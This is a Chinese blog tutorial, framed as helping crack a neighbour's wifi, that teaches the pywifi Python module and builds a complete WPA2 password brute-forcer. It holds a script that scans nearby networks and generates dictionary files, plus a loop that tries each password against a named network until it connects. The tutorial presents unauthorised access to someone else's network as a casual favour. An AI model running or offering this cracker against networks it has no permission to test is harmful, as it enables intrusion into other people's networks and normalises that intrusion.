女朋友让你帮他破解邻居家的wifi?看完这篇文章你就会了

现在的年轻人没网可不行,家里没有网络的也都会搜索看看附近有没有能够连接的网络,可是没有密码该怎么办呢,很多人都会想到用万能钥匙,那么本篇文章我们就用Python来自己实现一下wifi密码的破解。

模块介绍

Python提供了一个用于操作无线接口的跨平台模块:pywifi。
所以我们先将该模块下载好,下载指令:pip install pywifi。关于pywifi模块的使用这里有介绍:https://github.com/awkman/pywifi/blob/master/DOC.md,感兴趣的同学可以进去看看。

模块初体验

安装好模块之后,我们来尝试着使用一下,新建一个.py文件,将模块导入:

import pywifi
# 需要下载该模块comtypes
from pywifi import const

这里的第二行代码意思是引用pywifi模块中定义的常量,引入后就可以直接使用了。

判断是否连接到wifi环境

pywifi模块如何判断我们当前是否已经连接了wifi呢?很简单:

import pywifi
# 需要下载该模块comtypes
from pywifi import const

# 判断是否已经连接到wifi
def gic():
	# 创建一个无线对象
	wifi = pywifi.PyWiFi()
	# 获取到第一个无线网卡
	ifaces = wifi.interfaces()[0]
	print(ifaces.name())

gic()

首先创建一个无线对象,通过该对象调用interfaces()方法可以获得网卡列表,通常,一个平台只有一个wifi接口,所以直接取索引0获得我们的网卡对象,并打印其名称,运行结果为:

Qualcomm Atheros AR956x Wireless Network Adapter
[Finished in 0.7s]

然后我查看了自己的网卡名称:
女朋友让你帮他破解邻居家的wifi?看完这篇文章你就会了_第1张图片
说明刚才的程序已经成功获取到了网卡对象,通过该对象调用status()方法能够知晓我们的wifi状态,比如:

import pywifi
# 需要下载该模块comtypes
from pywifi import const

# 判断是否已经连接到wifi
def gic():
	# 创建一个无线对象
	wifi = pywifi.PyWiFi()
	# 获取到第一个无线网卡
	ifaces = wifi.interfaces()[0]
	print(ifaces.status())

gic()

此时运行程序,结果为:

4
[Finished in 0.7s]

实际上,wifi共有四种状态,分别为:

  1. const.IFACE_DISCONNECTED:值为0,表示未连接
  2. const.IFACE_SCANNING:值为1,表示正在扫描
  3. const.IFACE_INACTIVE:值为2,表示未激活
  4. const.IFACE_CONNECTING:值为3,表示正在连接
  5. const.IFACE_CONNECTED:值为4,表示已连接

从这些常量定义中,可以得知我的电脑目前是连接了wifi的,事实也确实如此:
女朋友让你帮他破解邻居家的wifi?看完这篇文章你就会了_第2张图片
所以如何实现判断当前是否连接到了wifi,代码如下:

import pywifi
# 需要下载该模块comtypes
from pywifi import const

# 判断是否已经连接到wifi
def gic():
	# 创建一个无线对象
	wifi = pywifi.PyWiFi()
	# 获取到第一个无线网卡
	ifaces = wifi.interfaces()[0]
	# 判断wifi状态
	if ifaces.status() == const.IFACE_CONNECTED:
		print("已连接")
	else:
		print("未连接")

gic()

运行结果:

已连接
[Finished in 0.8s]

扫描附近的wifi

再介绍一下如何使用pywifi模块扫描附近的wifi:

import pywifi
# 需要下载该模块comtypes
from pywifi import const

# 扫描附近的wifi
def bies():
	wifi = pywifi.PyWiFi()
	ifaces = wifi.interfaces()[0]
	# 扫描wifi
	ifaces.scan()
	# 获取扫描结果
	result  = ifaces.scan_results()
	for data in result:
		# ssid为wifi的名称
		print(data.ssid)

bies()

想实现这个功能非常简单,还是先获取到网卡对象,然后调用该对象的scan()方法进行扫描,并调用scan_results()获取扫描结果,最后遍历一下内容,运行结果为:

Tenda_29F708
Tenda_29F708
ChinaNet-4m2m
CMCC-ZTRF
ChinaNet-5inu
ChinaNet-iTV-5inu
CMCC-PrvR
TP-LINK_402

ChinaNet-iTV-pkQy
FAST_8326
H3C_27B7EC
TP-LINK_A3AD
ChinaNet-q5xV
TP-LINK_3EC0
ChinaNet-iTV-q5xV
CMCC-CyQ7
TP-LINK_D14A
TP-LINK_BD06
jiangqi
ChinaNet-aork
iTV-aork
CMCC-4NDa
Chinanet
DoMyNet_1170
@PHICOMM_5E
ChinaNet-n3kT
MERCURY_A616
midea_da_0519
TP-LINK_7145
ChinaNet-hjDH
iTV-hjDH
DIRECT-NCLAPTOP-PMOEF6JBmsGm
ChinaNet-pkQy
ChinaNet-WDkE
CMCC-hvzz
CMCC-3NtF
TP-LINK_BE59yjj
MERCURY_4690
ChinaNet-iTV-4m2m
ChinaNet-2.4G-402


PHICOMM_9A6656
[Finished in 1.2s]

看来我附近的wifi还是挺多的哈,当然这是未连接wifi的结果,如果你已经连接上了wifi,它将只能扫描到已连接的wifi,比如我连接上wifi后再运行程序,结果为:

Tenda_29F708
Tenda_29F708
[Finished in 0.9s]

断开wifi连接

所以不管你当前是否连接上了网络,在开始破解之前,我得先将wifi断开连接:

import pywifi
# 需要下载该模块comtypes
from pywifi import const
import time

# 测试连接
def wifiConnection(pwd):
	# 抓取网口
	wifi = pywifi.PyWiFi()
	# 获取第一个无线网卡
	ifaces = wifi.interfaces()[0]
	# 断开所有的连接
	ifaces.disconnect()
	time.sleep(1)

wifiConnection()

尝试连接wifi

接下来就是最为重要的一个功能,连接wifi,通过pywifi连接wifi需要以下几个步骤:

  1. 创建wifi连接文件
  2. 确定要连接的wifi名称
  3. 确定wifi的密码
  4. 确定wifi的加密算法
  5. 对网卡开放
  6. 确定加密单元
  7. 删除之前的所有wifi文件
  8. 添加自己创建的wifi文件
  9. 使用新的wifi文件进行连接

按照这些步骤进行编写,代码如下:

# 测试连接
def wifiConnection(pwd):
	# 抓取网口
	wifi = pywifi.PyWiFi()
	# 获取第一个无线网卡
	ifaces = wifi.interfaces()[0]
	# 断开所有的连接
	ifaces.disconnect()
	time.sleep(1)

	wifiStatus = ifaces.status()
	if wifiStatus == const.IFACE_DISCONNECTED:
		# 创建wifi的连接文件
		profile = pywifi.Profile()  
		# 要连接wifi的名称
		profile.ssid = "Tenda_29F708"
		# 对网卡开放
		profile.auth = const.AUTH_ALG_OPEN
		# wifi加密算法
		profile.akm.append(const.AKM_TYPE_WPA2PSK)
		# 加密单元
		profile.cipher = const.CIPHER_TYPE_CCMP
		# 密码
		profile.key = pwd
		# 删除所有的wifi文件
		ifaces.remove_all_network_profiles()
		# 设定新的连接文件
		tep_profile = ifaces.add_network_profile(profile)
		# 用新的连接文件去测试连接
		ifaces.connect(tep_profile)
		# 给wifi一个连接的时间
		time.sleep(4)
		if ifaces.status() == const.IFACE_CONNECTED:
			return True
		else:
			return False
	else:
		print("已连接")

在上面的一系列步骤中,仅有一步内容是不确定的,那就是wifi的密码,我们并不知道wifi的密码,所以我们的想法是不断地将某个密码传入进行测试连接,若连接失败,则换个密码继续尝试直至连接成功。

关键就是这个wifi的密码该如何生成呢?这个在网上去搜其实有很多:
女朋友让你帮他破解邻居家的wifi?看完这篇文章你就会了_第3张图片
当然你也可以自己生成密码本,不过自己生成的肯定没有人家的全面,要生成密码本也很简单,代码如下:

import itertools as its
# 迭代器

words = "123"

r = its.product(words,repeat = 3)
# 保存到文件中
dic = open("wifipwd.txt","a")
for i in r:
	dic.write("".join(i))
	dic.write("".join("\n"))
dic.close()

运行程序,产生wifipwd.txt文本,文本内容为:

111
112
113
121
122
123
131
132
133
211
212
213
221
222
223
231
232
233
311
312
313
321
322
323
331
332
333

不过wifi的密码远没有这么简单,它应该包含数字、大小写字母甚至是特殊字符,所以自己写的密码本俨然不够全面,比如:

import itertools as its
# 迭代器

words = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

# repeat表示生成的密码位数
r = its.product(words,repeat = 8)
# 保存到文件中
dic = open("wifipwd.txt","a")
for i in r:
	dic.write("".join(i))
	dic.write("".join("\n"))
dic.close()

该程序能够生成8位含数字、大小写字母的wifi密码。

开始破解

一切工作准备就绪,可以开始破解了,破解过程即:读取密码本,将密码本中的密码不断地传入测试连接的函数,如此反复,直到连接成功,程序完整代码如下:

import pywifi
# 需要下载该模块comtypes
from pywifi import const
import time

# 判断是否已经连接到wifi
def gic():
	# 创建一个无线对象
	wifi = pywifi.PyWiFi()
	# 获取到第一个无线网卡
	ifaces = wifi.interfaces()[0]

	if ifaces.status() == const.IFACE_CONNECTED:
		print("已连接")
	else:
		print("未连接")

# 扫描附近的wifi
def bies():
	wifi = pywifi.PyWiFi()
	ifaces = wifi.interfaces()[0]
	# 扫描wifi
	ifaces.scan()
	# 获取扫描结果
	result  = ifaces.scan_results()
	for data in result:
		# ssid为wifi的名称
		print(data.ssid)

# 读取密码本
def readPassword():
	print("开始破解:")
	# 密码本路径
	path = "C:\\Users\\Administrator\\Desktop\\CrawlerDemo\\wifipwd.txt"
	# 打开文件
	file = open(path,"r")
	while True:
		try:
			# 读取一行
			password = file.readline()
			bool = wifiConnection(password)
			if bool:
				print("密码正确",password)
				break
			else:
				print("密码不正确",password)
		except:
			continue

# 测试连接
def wifiConnection(pwd):
	# 抓取网口
	wifi = pywifi.PyWiFi()
	# 获取第一个无线网卡
	ifaces = wifi.interfaces()[0]
	# 断开所有的连接
	ifaces.disconnect()
	time.sleep(1)

	wifiStatus = ifaces.status()
	if wifiStatus == const.IFACE_DISCONNECTED:
		# 创建wifi的连接文件
		profile = pywifi.Profile()  
		# 要连接wifi的名称
		profile.ssid = "Tenda_29F708"
		# 网卡的开放状态
		profile.auth = const.AUTH_ALG_OPEN
		# wifi加密算法
		profile.akm.append(const.AKM_TYPE_WPA2PSK)
		# 加密单元
		profile.cipher = const.CIPHER_TYPE_CCMP
		# 密码
		profile.key = pwd
		# 删除所有的wifi文件
		ifaces.remove_all_network_profiles()
		# 设定新的连接文件
		tep_profile = ifaces.add_network_profile(profile)
		# 用新的连接文件去测试连接
		ifaces.connect(tep_profile)
		# 给wifi一个连接的时间
		time.sleep(4)
		if ifaces.status() == const.IFACE_CONNECTED:
			return True
		else:
			return False
	else:
		print("已连接")

readPassword()

到这里,破解wifi程序就完成了,如果你理解了这个程序会发现,这种方式去破解wifi显然很糟糕,如果wifi密码很简单的话,应该还是能够破解出来的,只是时间问题(如果你有一个完善的密码本)。

你可能感兴趣的:(Python)